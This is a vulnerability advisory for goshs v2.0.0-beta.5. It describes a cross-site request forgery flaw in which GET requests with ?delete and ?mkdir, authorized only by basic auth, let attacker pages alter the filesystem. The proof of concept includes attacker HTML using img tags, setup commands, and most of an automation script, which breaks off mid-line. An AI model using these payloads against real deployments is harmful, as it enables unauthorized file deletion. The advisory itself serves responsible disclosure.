goshs has CSRF in state-changing GET routes enables authenticated file deletion and directory creation
Summary
goshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as ?delete and ?mkdir because goshs relies on HTTP basic auth alone and performs no CSRF, Origin, or Referer validation for those routes. I reproduced this on v2.0.0-beta.5.
Details
The vulnerable request handling is reachable through normal GET requests:
httpserver/handler.go:118-123 dispatches ?mkdir directly to handleMkdir()httpserver/handler.go:180-186 dispatches ?delete directly to deleteFile()
Authentication is enforced only by HTTP basic auth:
httpserver/middleware.go:20-87 accepts any request that presents valid cached or replayed basic-auth credentials
The resulting state changes hit filesystem mutation sinks:
httpserver/handler.go:683-718 calls os.RemoveAll() in deleteFile()httpserver/handler.go:961-1000 calls os.MkdirAll() in handleMkdir()
Because browsers can replay HTTP basic-auth credentials on subresource requests, an attacker-controlled page can embed:
<img src="http://127.0.0.1:18095/victim.txt?delete"><img src="http://127.0.0.1:18095/csrfmade?mkdir">
If the victim has already authenticated to goshs, those requests are treated as legitimate authenticated actions and the server mutates the filesystem.
PoC
Manual verification commands used:
Terminal 1
```bash
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./
rm -rf /tmp/goshs_csrf_root /tmp/goshs_csrf_site
mkdir -p /tmp/goshs_csrf_root /tmp/goshs_csrf_site
printf 'delete me\n' > /tmp/goshs_csrf_root/victim.txt
cat > /tmp/goshs_csrf_site/delete.html <<'HTML'
<!doctype html>
<html>
<body>
<img src="http://127.0.0.1:18095/victim.txt?delete">
</body>
</html>
HTML
cat > /tmp/goshs_csrf_site/mkdir.html <<'HTML'
<!doctype html>
<html>
<body>
<img src="http://127.0.0.1:18095/csrfmade?mkdir">
</body>
</html>
HTML
/tmp/goshs_beta5 -d /tmp/goshs_csrf_root -p 18095 -b 'u:p'
```
Terminal 2
```bash
python3 -m http.server 18889 --directory /tmp/goshs_csrf_site
```
Victim actions:
1. Open http://127.0.0.1:18095/ in a browser and authenticate with u:p.
2. Visit http://127.0.0.1:18889/delete.html.
3. Visit http://127.0.0.1:18889/mkdir.html.
Two terminal commands I ran during local validation:
```bash
test -e /tmp/goshs_csrf_root/victim.txt && echo EXISTS || echo DELETED
test -d /tmp/goshs_csrf_root/csrfmade && echo CREATED || echo MISSING
```
Expected result:
- the first check prints
DELETED - the second check prints
CREATED
PoC Video 1:
https://github.com/user-attachments/assets/94b78934-0a70-479f-9b89-43a859939473
Single-script verification:
```bash
'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc3'
```
Observed script result:
Delete status: DELETEDmkdir status: CREATED[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET
PoC Video 2:
https://github.com/user-attachments/assets/1143e039-81e4-4476-a1c3-f81ae46c9ede
gosh_poc3 script content:
```bash
#!/usr/bin/env bash
set -euo pipefail
REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
PLAY_DIR='/tmp/codex-playwright'
BIN='/tmp/goshs_beta5_csrf'
PORT='18095'
ATTACKER_PORT='18889'
CHROME='/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'
WORKDIR="$(mktemp -d /tmp/goshs-csrf-beta5-XXXXXX)"
ROOT="$WORKDIR/root"
SITE="$WORKDIR/site"
GOSHS_PID=""
ATTACKER_PID=""
cleanup() {
if [[ -n "${ATTACKER_PID:-}" ]]; then
kill "${ATTACKER_PID}" >/dev/null 2>&1 || true
fi
if [[ -n "${GOSHS_PID:-}" ]]; then
kill "${GOSHS_PID}" >/dev/null 2>&1 || true
fi
}
trap cleanup EXIT
mkdir -p "$ROOT" "$SITE"
printf 'delete me\n' > "$ROOT/victim.txt"
cat > "$SITE/delete.html" <<HTML
<!doctype html>
<html>
<body>
<img src="http://127.0.0.1:${PORT}/victim.txt?delete">
</body>
</html>
HTML
cat > "$SITE/mkdir.html" <<HTML
<!doctype html>
<html>
<body>
<img src="http://127.0.0.1:${PORT}/csrfmade?mkdir">
</body>
</html>
HTML
echo "[1/6] Building goshs beta.5"
(cd "$REPO" && go build -o "$BIN" ./)
echo "[2/6] Starting goshs with HTTP basic auth"
"$BIN" -d "$ROOT" -p "$PORT" -b 'u:p' >"$WORKDIR/goshs.log" 2>&1 &
GOSHS_PID=$!
for _ in $(seq 1 40); do
if curl -s -u u:p "http://127.0.0.1:${PORT}/" >/dev/null 2>&1; then
break
fi
sleep 0.25
done
echo "[3/6] Serving attacker pages"
python3 -m http.server "$ATTACKER_PORT" --directory "$SITE" >"$WORKDIR/attacker.log" 2>&1 &
ATTACKER_PID=$!
if [[ ! -d "$PLAY_DIR/node_modules/playwright-core" ]]; then
mkdir -p "$PLAY_DIR"
(cd "$PLAY_DIR" && npm install --no-save playwright-core >/dev/null)
fi
if [[ ! -x "$CHROME" ]]; then
echo "[ERROR] Chrome not found at $CHROME" >&2
exit 1
fi
echo "[4/6
